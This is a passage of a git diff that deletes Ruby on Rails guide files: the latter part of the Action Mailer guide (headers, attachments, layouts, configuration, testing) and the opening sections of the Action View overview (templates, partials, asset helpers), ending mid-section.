-There are just three methods that you need to send pretty much any email message:
-
-* <tt>headers</tt> - Specifies any header on the email you want, you can pass a hash of header field names and value pairs, or you can call <tt>headers[:field_name] = 'value'</tt>
-* <tt>attachments</tt> - Allows you to add attachments to your email, for example <tt>attachments['file-name.jpg'] = File.read('file-name.jpg')</tt>
-* <tt>mail</tt> - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined.
-
-h5. Custom Headers
-
-Defining custom headers are simple, you can do it one of three ways:
-
-* Defining a header field as a parameter to the +mail+ method:
-
-<ruby>
-mail("X-Spam" => value)
-</ruby>
-
-* Passing in a key value assignment to the +headers+ method:
-
-<ruby>
-headers["X-Spam"] = value
-</ruby>
-
-* Passing a hash of key value pairs to the +headers+ method:
-
-<ruby>
-headers {"X-Spam" => value, "X-Special" => another_value}
-</ruby>
-
-TIP: All <tt>X-Value</tt> headers per the RFC2822 can appear more than one time. If you want to delete an <tt>X-Value</tt> header, you need to assign it a value of <tt>nil</tt>.
-
-h5. Adding Attachments
-
-Adding attachments has been simplified in Action Mailer 3.0.
-
-* Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment.
-
-<ruby>
-attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
-</ruby>
-
-NOTE: Mail will automatically Base64 encode an attachment, if you want something different, pre-encode your content and pass in the encoded content and encoding in a +Hash+ to the +attachments+ method.
-
-* Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in.
-
-<ruby>
-encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
-attachments['filename.jpg'] = {:mime_type => 'application/x-gzip',
-                               :encoding => 'SpecialEncoding',
-                               :content => encoded_content }
-</ruby>
-
-NOTE: If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.
-
-h5. Making Inline Attachments
-
-Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
-
-* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer:
-
-<ruby>
-def welcome
-  attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
-end
-</ruby>
-
-* Then in your view, you can just reference <tt>attachments[]</tt> as a hash and specify which attachment you want to show, calling +url+ on it and then passing the result into the <tt>image_tag</tt> method:
-
-<erb>
-<p>Hello there, this is our image</p>
-
-<%= image_tag attachments['image.jpg'].url %>
-</erb>
-
-* As this is a standard call to +image_tag+ you can pass in an options hash after the attachment url as you could for any other image:
-
-<erb>
-<p>Hello there, this is our image</p>
-
-<%= image_tag attachments['image.jpg'].url, :alt => 'My Photo',
-                                            :class => 'photos' %>
-</erb>
-
-h5. Sending Email To Multiple Recipients
-
-It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.
-
-<ruby>
-class AdminMailer < ActionMailer::Base
-  default :to => Admin.all.map(&:email),
-          :from => "notification@example.com"
-
-  def new_registration(user)
-    @user = user
-    mail(:subject => "New User Signup: #{@user.email}")
-  end
-end
-</ruby>
-
-The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively.
-
-h5. Sending Email With Name
-
-Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is
-to format the email address in the format <tt>"Name &lt;email&gt;"</tt>.
-
-<ruby>
-def welcome_email(user)
-  @user = user
-  email_with_name = "#{@user.name} <#{@user.email}>"
-  mail(:to => email_with_name, :subject => "Welcome to My Awesome Site")
-end
-</ruby>
-
-h4. Mailer Views
-
-Mailer views are located in the +app/views/name_of_mailer_class+ directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the +welcome_email+ method will be in +app/views/user_mailer/welcome_email.html.erb+ for the HTML version and +welcome_email.text.erb+ for the plain text version.
-
-To change the default mailer view for your action you do something like:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  default :from => "notifications@example.com"
-
-  def welcome_email(user)
-    @user = user
-    @url  = "http://example.com/login"
-    mail(:to => user.email,
-         :subject => "Welcome to My Awesome Site",
-         :template_path => 'notifications',
-         :template_name => 'another')
-  end
-end
-</ruby>
-
-In this case it will look for templates at +app/views/notifications+ with name +another+.
-
-If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  default :from => "notifications@example.com"
-
-  def welcome_email(user)
-    @user = user
-    @url  = "http://example.com/login"
-    mail(:to => user.email,
-         :subject => "Welcome to My Awesome Site") do |format|
-      format.html { render 'another_template' }
-      format.text { render :text => 'Render text' }
-    end
-  end
-
-end
-</ruby>
-
-This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt>, <tt>:inline</tt> etc.
-
-h4. Action Mailer Layouts
-
-Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as +user_mailer.html.erb+ and +user_mailer.text.erb+ to be automatically recognized by your mailer as a layout.
-
-In order to use a different file just use:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  layout 'awesome' # use awesome.(html|text).erb as the layout
-end
-</ruby>
-
-Just like with controller views, use +yield+ to render the view inside the layout.
-
-You can also pass in a <tt>:layout => 'layout_name'</tt> option to the render call inside the format block to specify different layouts for different actions:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  def welcome_email(user)
-    mail(:to => user.email) do |format|
-      format.html { render :layout => 'my_layout' }
-      format.text
-    end
-  end
-end
-</ruby>
-
-Will render the HTML part using the <tt>my_layout.html.erb</tt> file and the text part with the usual <tt>user_mailer.text.erb</tt> file if it exists.
-
-h4. Generating URLs in Action Mailer Views
-
-URLs can be generated in mailer views using +url_for+ or named routes.
-
-Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+:
-
-<erb>
-<%= url_for(:host => "example.com",
-            :controller => "welcome",
-            :action => "greeting") %>
-</erb>
-
-When using named routes you only need to supply the +:host+:
-
-<erb>
-<%= user_url(@user, :host => "example.com") %>
-</erb>
-
-Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
-
-It is also possible to set a default host that will be used in all mailers by setting the +:host+ option in the +ActionMailer::Base.default_url_options+ hash as follows:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  default_url_options[:host] = "example.com"
-
-  def welcome_email(user)
-    @user = user
-    @url  = user_url(@user)
-    mail(:to => user.email,
-         :subject => "Welcome to My Awesome Site")
-  end
-end
-</ruby>
-
-h4. Sending Multipart Emails
-
-Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.erb+ and +welcome_email.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.
-
-The order of the parts getting inserted is determined by the <tt>:parts_order</tt> inside of the <tt>ActionMailer::Base.default</tt> method. If you want to explicitly alter the order, you can either change the <tt>:parts_order</tt> or explicitly render the parts in a different order:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  def welcome_email(user)
-    @user = user
-    @url  = user_url(@user)
-    mail(:to => user.email,
-         :subject => "Welcome to My Awesome Site") do |format|
-      format.html
-      format.text
-    end
-  end
-end
-</ruby>
-
-Will put the HTML part first, and the plain text part second.
-
-h4. Sending Emails with Attachments
-
-Attachments can be added by using the +attachments+ method:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  def welcome_email(user)
-    @user = user
-    @url  = user_url(@user)
-    attachments['terms.pdf'] = File.read('/path/terms.pdf')
-    mail(:to => user.email,
-         :subject => "Please see the Terms and Conditions attached")
-  end
-end
-</ruby>
-
-The above will send a multipart email with an attachment, properly nested with the top level being <tt>multipart/mixed</tt> and the first part being a <tt>multipart/alternative</tt> containing the plain text and HTML email messages.
-
-h3. Receiving Emails
-
-Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to:
-
-* Implement a +receive+ method in your mailer.
-
-* Configure your email server to forward emails from the address(es) you would like your app to receive to +/path/to/app/script/rails runner 'UserMailer.receive(STDIN.read)'+.
-
-Once a method called +receive+ is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer +receive+ instance method. Here's an example:
-
-<ruby>
-class UserMailer < ActionMailer::Base
-  def receive(email)
-    page = Page.find_by_address(email.to.first)
-    page.emails.create(
-      :subject => email.subject,
-      :body => email.body
-    )
-
-    if email.has_attachments?
-      email.attachments.each do |attachment|
-        page.attachments.create({
-          :file => attachment,
-          :description => email.subject
-        })
-      end
-    end
-  end
-end
-</ruby>
-
-h3. Using Action Mailer Helpers
-
-Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller.
-
-h3. Action Mailer Configuration
-
-The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
-
-|+template_root+|Determines the base from which template references will be made.|
-|+logger+|Generates information on the mailing run if available. Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and +Log4r+ loggers.|
-|+smtp_settings+|Allows detailed configuration for <tt>:smtp</tt> delivery method:<ul><li><tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li><tt>:port</tt>  - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li><tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.</li><li><tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.</li><li><tt>:password</tt> - If your mail server requires authentication, set the password in this setting.</li><li><tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li></ul>|
-|+sendmail_settings+|Allows you to override options for the <tt>:sendmail</tt> delivery method.<ul><li><tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li><li><tt>:arguments</tt> - The command line arguments to be passed to sendmail. Defaults to <tt>-i -t</tt>.</li></ul>|
-|+raise_delivery_errors+|Whether or not errors should be raised if the email fails to be delivered.|
-|+delivery_method+|Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, <tt>:file</tt> and <tt>:test</tt>.|
-|+perform_deliveries+|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
-|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
-
-h4. Example Action Mailer Configuration
-
-An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file:
-
-<ruby>
-config.action_mailer.delivery_method = :sendmail
-# Defaults to:
-# config.action_mailer.sendmail_settings = {
-#   :location => '/usr/sbin/sendmail',
-#   :arguments => '-i -t'
-# }
-config.action_mailer.perform_deliveries = true
-config.action_mailer.raise_delivery_errors = true
-</ruby>
-
-h4. Action Mailer Configuration for GMail
-
-As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file:
-
-<ruby>
-config.action_mailer.delivery_method = :smtp
-config.action_mailer.smtp_settings = {
-  :address              => "smtp.gmail.com",
-  :port                 => 587,
-  :domain               => 'baci.lindsaar.net',
-  :user_name            => '<username>',
-  :password             => '<password>',
-  :authentication       => 'plain',
-  :enable_starttls_auto => true  }
-</ruby>
-
-h3. Mailer Testing
-
-By default Action Mailer does not send emails in the test environment. They are just added to the +ActionMailer::Base.deliveries+ array.
-
-Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:
-
-<ruby>
-class UserMailerTest < ActionMailer::TestCase
-  def test_welcome_email
-    user = users(:some_user_in_your_fixtures)
-
-    # Send the email, then test that it got queued
-    email = UserMailer.welcome_email(user).deliver
-    assert !ActionMailer::Base.deliveries.empty?
-
-    # Test the body of the sent email contains what we expect it to
-    assert_equal [user.email], email.to
-    assert_equal "Welcome to My Awesome Site", email.subject
-    assert_match(/<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded)
-    assert_match(/Welcome to example.com, #{user.name}/, email.encoded)
-  end
-end
-</ruby>
-
-In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect.
diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile
deleted file mode 100644
index e2b69fa0d5..0000000000
--- a/railties/guides/source/action_view_overview.textile
+++ /dev/null
@@ -1,1497 +0,0 @@
-h2. Action View Overview
-
-In this guide you will learn:
-
-* What Action View is, and how to use it with Rails
-* How to use Action View outside of Rails
-* How best to use templates, partials, and layouts
-* What helpers are provided by Action View, and how to make your own
-* How to use localized views
-
-endprologue.
-
-h3. What is Action View?
-
-Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.
-
-Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.
-
-NOTE. Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend.
-
-h3. Using Action View with Rails
-
-For each controller there is an associated directory in the <tt>app/views</tt> directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.
-
-Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
-
-<shell>
-$ rails generate scaffold post
-      [...]
-      invoke  scaffold_controller
-      create    app/controllers/posts_controller.rb
-      invoke    erb
-      create      app/views/posts
-      create      app/views/posts/index.html.erb
-      create      app/views/posts/edit.html.erb
-      create      app/views/posts/show.html.erb
-      create      app/views/posts/new.html.erb
-      create      app/views/posts/_form.html.erb
-      [...]
-</shell>
-
-There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
-For example, the index controller action of the <tt>posts_controller.rb</tt> will use the <tt>index.html.erb</tt> view file in the <tt>app/views/posts</tt> directory.
-The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of this three components.
-
-h3. Using Action View outside of Rails
-
-Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small "Rack":http://rack.rubyforge.org/ application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
-
-Let's start by ensuring that you have the Action Pack and Rack gems installed:
-
-<shell>
-$ gem install actionpack
-$ gem install rack
-</shell>
-
-Now we'll create a simple "Hello World" application that uses the +titleize+ method provided by Active Support.
-
-*hello_world.rb:*
-
-<ruby>
-require 'rubygems'
-require 'active_support/core_ext/string/inflections'
-require 'rack'
-
-def hello_world(env)
-  [200, {"Content-Type" => "text/html"}, "hello world".titleize]
-end
-
-Rack::Handler::Mongrel.run method(:hello_world), :Port => 4567
-</ruby>
-
-We can see this all come together by starting up the application and then visiting +http://localhost:4567/+
-
-<shell>
-$ ruby hello_world.rb
-</shell>
-
-TODO needs a screenshot? I have one - not sure where to put it.
-
-Notice how 'hello world' has been converted into 'Hello World' by the +titleize+ helper method.
-
-Action View can also be used with "Sinatra":http://www.sinatrarb.com/ in the same way.
-
-Let's start by ensuring that you have the Action Pack and Sinatra gems installed:
-
-<shell>
-$ gem install actionpack
-$ gem install sinatra
-</shell>
-
-Now we'll create the same "Hello World" application in Sinatra.
-
-*hello_world.rb:*
-
-<ruby>
-require 'rubygems'
-require 'action_view'
-require 'sinatra'
-
-get '/' do
-  erb 'hello world'.titleize
-end
-</ruby>
-
-Then, we can run the application:
-
-<shell>
-$ ruby hello_world.rb
-</shell>
-
-Once the application is running, you can see Sinatra and Action View working together by visiting +http://localhost:4567/+
-
-TODO needs a screenshot? I have one - not sure where to put it.
-
-h3. Templates, Partials and Layouts
-
-As mentioned before, the final HTML output is a composition of three Rails elements: +Templates+, +Partials+ and +Layouts+.
-Find below a brief overview of each one of them.
-
-h4. Templates
-
-Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then a fresh instance of <tt>Builder::XmlMarkup</tt> library is used.
-
-Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have <tt>.html.erb</tt> as a file extension.
-
-h5. ERB
-
-Within an ERB template Ruby code can be included using both +<% %>+ and +<%= %>+ tags. The +<% %>+ are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the +<%= %>+ tags are used when you want output.
-
-Consider the following loop for names:
-
-<erb>
-<b>Names of all the people</b>
-<% @people.each do |person| %>
-  Name: <%= person.name %><br/>
-<% end %>
-</erb>
-
-The loop is setup in regular embedding tags +<% %>+ and the name is written using the output embedding tag +<%= %>+. Note that this is not just a usage suggestion, for Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
-
-<erb>
-<%# WRONG %>
-Hi, Mr. <% puts "Frodo" %>
-</erb>
-
-To suppress leading and trailing whitespaces, you can use +<%-+ +-%>+ interchangeably with +<%+ and +%>+.
-
-h5. Builder
-
-Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
-
-Here are some basic examples:
-
-<ruby>
-xml.em("emphasized")
-xml.em { xml.b("emph & bold") }
-xml.a("A Link", "href"=>"http://rubyonrails.org")
-xml.target("name"=>"compile", "option"=>"fast")
-</ruby>
-
-will produce
-
-<html>
-<em>emphasized</em>
-<em><b>emph &amp; bold</b></em>
-<a href="http://rubyonrails.org">A link</a>
-<target option="fast" name="compile" />
-</html>
-
-Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
-
-<ruby>
-xml.div {
-  xml.h1(@person.name)
-  xml.p(@person.bio)
-}
-</ruby>
-
-would produce something like:
-
-<html>
-<div>
-  <h1>David Heinemeier Hansson</h1>
-  <p>A product of Danish Design during the Winter of '79...</p>
-</div>
-</html>
-
-A full-length RSS example actually used on Basecamp:
-
-<ruby>
-xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
-  xml.channel do
-    xml.title(@feed_title)
-    xml.link(@url)
-    xml.description "Basecamp: Recent items"
-    xml.language "en-us"
-    xml.ttl "40"
-
-    for item in @recent_items
-      xml.item do
-        xml.title(item_title(item))
-        xml.description(item_description(item)) if item_description(item)
-        xml.pubDate(item_pubDate(item))
-        xml.guid(@person.firm.account.url + @recent_items.url(item))
-        xml.link(@person.firm.account.url + @recent_items.url(item))
-        xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
-      end
-    end
-  end
-end
-</ruby>
-
-h5. Template Caching
-
-By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode.
-
-h4. Partials
-
-Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
-
-h5. Naming Partials
-
-To render a partial as part of a view, you use the +render+ method within the view:
-
-<ruby>
-<%= render "menu" %>
-</ruby>
-
-This will render a file named +_menu.html.erb+ at that point within the view is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
-
-<ruby>
-<%= render "shared/menu" %>
-</ruby>
-
-That code will pull in the partial from +app/views/shared/_menu.html.erb+.
-
-h5. Using Partials to simplify Views
-
-One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
-
-<erb>
-<%= render "shared/ad_banner" %>
-
-<h1>Products</h1>
-
-<p>Here are a few of our fine products:</p>
-<% @products.each do |product| %>
-  <%= render :partial => "product", :locals => { :product => product } %>
-<% end %>
-
-<%= render "shared/footer" %>
-</erb>
-
-Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
-
-h5. The :as and :object options
-
-By default <tt>ActionView::Partials::PartialRenderer</tt> has its object in a local variable with the same name as the template. So, given
-
-<erb>
-<%= render :partial => "product" %>
-</erb>
-
-within product we'll get <tt>@product</tt> in the local variable +product+, as if we had written:
-
-<erb>
-<%= render :partial => "product", :locals => { :product  => @product } %>
-</erb>
-
-With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we wanted it to be +item+ instead of product+ we'd do:
-
-<erb>
-<%= render :partial => "product", :as => 'item' %>
-</erb>
-
-The <tt>:object</tt> option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere, in a different ivar or in a local variable for instance.
-
-For example, instead of:
-
-<erb>
-<%= render :partial => "product", :locals => { :product  => @item } %>
-</erb>
-
-you'd do:
-
-<erb>
-<%= render :partial => "product", :object => @item %>
-</erb>
-
-The <tt>:object</tt> and <tt>:as</tt> options can be used together.
-
-h5. Rendering Collections
-
-The example of partial use describes a familiar pattern where a template needs to iterate over an array and render a sub template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial by the same name as the elements contained within.
-So the three-lined example for rendering all the products can be rewritten with a single line:
-
-<erb>
-<%= render :partial => "product", :collection => @products %>
-</erb>
-
-When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+ , and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered.
-
-You can use a shorthand syntax for rendering collections. Assuming @products is a collection of +Product+ instances, you can simply write the following to produce the same result:
-
-<erb>
-<%= render @products %>
-</erb>
-
-Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection.
-
-h5. Spacer Templates
-
-You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
-
-<erb>
-<%= render @products, :spacer_template => "product_ruler" %>
-</erb>
-
-Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
-
-h4. Layouts
-
-TODO...
-
-h3. Using Templates, Partials and Layouts in "The Rails Way"
-
-TODO...
-
-h3. Partial Layouts
-
-Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.
-
-Let's say we're displaying a post on a page where it should be wrapped in a +div+ for display purposes. First, we'll create a new +Post+:
-
-<ruby>
-Post.create(:body => 'Partial Layouts are cool!')
-</ruby>
-
-In the +show+ template, we'll render the +post+ partial wrapped in the +box+ layout:
-
-*posts/show.html.erb*
-
-<ruby>
-<%= render :partial => 'post', :layout => 'box', :locals => {:post => @post} %>
-</ruby>
-
-The +box+ layout simply wraps the +post+ partial in a +div+:
-
-*posts/_box.html.erb*
-
-<ruby>
-<div class='box'>
-  <%= yield %>
-</div>
-</ruby>
-
-The +post+ partial wraps the post's +body+ in a +div+ with the +id+ of the post using the +div_for+ helper:
-
-*posts/_post.html.erb*
-
-<ruby>
-<%= div_for(post) do %>
-  <p><%= post.body %></p>
-<% end %>
-</ruby>
-
-This example would output the following:
-
-<html>
-<div class='box'>
-  <div id='post_1'>
-    <p>Partial Layouts are cool!</p>
-  </div>
-</div>
-</html>
-
-Note that the partial layout has access to the local +post+ variable that was passed into the +render+ call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
-
-You can also render a block of code within a partial layout instead of calling +yield+. For example, if we didn't have the +post+ partial, we could do this instead:
-
-*posts/show.html.erb*
-
-<ruby>
-<% render(:layout => 'box', :locals => {:post => @post}) do %>
-  <%= div_for(post) do %>
-    <p><%= post.body %></p>
-  <% end %>
-<% end %>
-</ruby>
-
-If we're using the same +box+ partial from above, his would produce the same output as the previous example.
-
-h3. View Paths
-
-TODO...
-
-h3. Overview of all the helpers provided by Action View
-
-The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the API Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point.
-
-h4. ActiveRecordHelper
-
-The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the "Rails Form helpers guide":form_helpers.html.
-
-h5. error_message_on
-
-Returns a string containing the error message attached to the method on the object if one exists.
-
-<ruby>
-error_message_on "post", "title"
-</ruby>
-
-h5. error_messages_for
-
-Returns a string with a DIV containing all of the error messages for the objects located as instance variables by the names given.
-
-<ruby>
-error_messages_for "post"
-</ruby>
-
-h5. form
-
-Returns a form with inputs for all attributes of the specified Active Record object. For example, let's say we have a +@post+ with attributes named +title+ of type +String+ and +body+ of type +Text+. Calling +form+ would produce a form to creating a new post with inputs for those attributes.
-
-<ruby>
-form("post")
-</ruby>
-
-<html>
-<form action='/posts/create' method='post'>
-  <p>
-    <label for="post_title">Title</label><br />
-    <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
-  </p>
-  <p>
-    <label for="post_body">Body</label><br />
-    <textarea cols="40" id="post_body" name="post[body]" rows="20"></textarea>
-  </p>
-  <input name="commit" type="submit" value="Create" />
-</form>
-</html>
-
-Typically, +form_for+ is used instead of +form+ because it doesn't automatically include all of the model's attributes.
-
-h5. input
-
-Returns a default input tag for the type of object returned by the method.
-
-For example, if +@post+ has an attribute +title+ mapped to a +String+ column that holds "Hello World":
-
-<ruby>
-input("post", "title") # =>
-  <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
-</ruby>
-
-h4. RecordTagHelper
-
-This module provides methods for generating a container tag, such as a +<div>+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use.
-
-h5. content_tag_for
-
-Renders a container tag that relates to your Active Record Object.
-
-For example, given +@post+ is the object of +Post+ class, you can do:
-
-<ruby>
-<%= content_tag_for(:tr, @post) do %>
-  <td><%= @post.title %></td>
-<% end %>
-</ruby>
-
-This will generate this HTML output:
-
-<html>
-<tr id="post_1234" class="post">
-  <td>Hello World!</td>
-</tr>
-</html>
-
-You can also supply HTML attributes as an additional option hash. For example:
-
-<ruby>
-<%= content_tag_for(:tr, @post, :class => "frontpage") do %>
-  <td><%= @post.title %></td>
-<% end %>
-</ruby>
-
-Will generate this HTML output:
-
-<html>
-<tr id="post_1234" class="post frontpage">
-  <td>Hello World!</td>
-</tr>
-</html>
-
-You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects:
-
-<ruby>
-<%= content_tag_for(:tr, @posts) do |post| %>
-  <td><%= post.title %></td>
-<% end %>
-</ruby>
-
-Will generate this HTML output:
-
-<html>
-<tr id="post_1234" class="post">
-  <td>Hello World!</td>
-</tr>
-<tr id="post_1235" class="post">
-  <td>Ruby on Rails Rocks!</td>
-</tr>
-</html>
-
-h5. div_for
-
-This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example:
-
-<ruby>
-<%= div_for(@post, :class => "frontpage") do %>
-  <td><%= @post.title %></td>
-<% end %>
-</ruby>
-
-Will generate this HTML output:
-
-<html>
-<div id="post_1234" class="post frontpage">
-  <td>Hello World!</td>
-</div>
-</html>
-
-h4. AssetTagHelper
-
-This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.
-
-By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting +ActionController::Base.asset_host+ in the application configuration, typically in +config/environments/production.rb+. For example, let's say your asset host is +assets.example.com+:
-
-<ruby>
-ActionController::Base.asset_host = "assets.example.com"
-image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
-</ruby>
-
-h5. register_javascript_expansion
-
-Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in +public/javascripts+.
-
-<ruby>
-ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey => ["head", "body", "tail"]
-
-javascript_include_tag :monkey # =>
-  <script type="text/javascript" src="/javascripts/head.js"></script>
-  <script type="text/javascript" src="/javascripts/body.js"></script>
-  <script type="text/javascript" src="/javascripts/tail.js"></script>
-</ruby>
-
-h5. register_stylesheet_expansion
-
-Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +public/stylesheets+.
-
-<ruby>
-ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey => ["head", "body", "tail"]
-
-stylesheet_link_tag :monkey # =>
-  <link href="/stylesheets/head.css" media="screen" rel="stylesheet" type="text/css" />
-  <link href="/stylesheets/body.css" media="screen" rel="stylesheet" type="text/css" />
-  <link href="/stylesheets/tail.css" media="screen" rel="stylesheet" type="text/css" />
-</ruby>
-
-h5. auto_discovery_link_tag
-
-Returns a link tag that browsers and news readers can use to auto-detect an RSS or ATOM feed.
-
-<ruby>
-auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "RSS Feed"}) # =>
-  <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" />
-</ruby>
-
-h5. image_path
-
-Computes the path to an image asset in the +public/images+ directory. Full paths from the document root will be passed through. Used internally by +image_tag+ to build the image path.
-
-<ruby>
-image_path("edit.png") # => /images/edit.png
-</ruby>
-
-h5. image_tag
-
-Returns an html image tag for the source. The source can be a full path or a file that exists in your +public/images+ directory.
-
-<ruby>
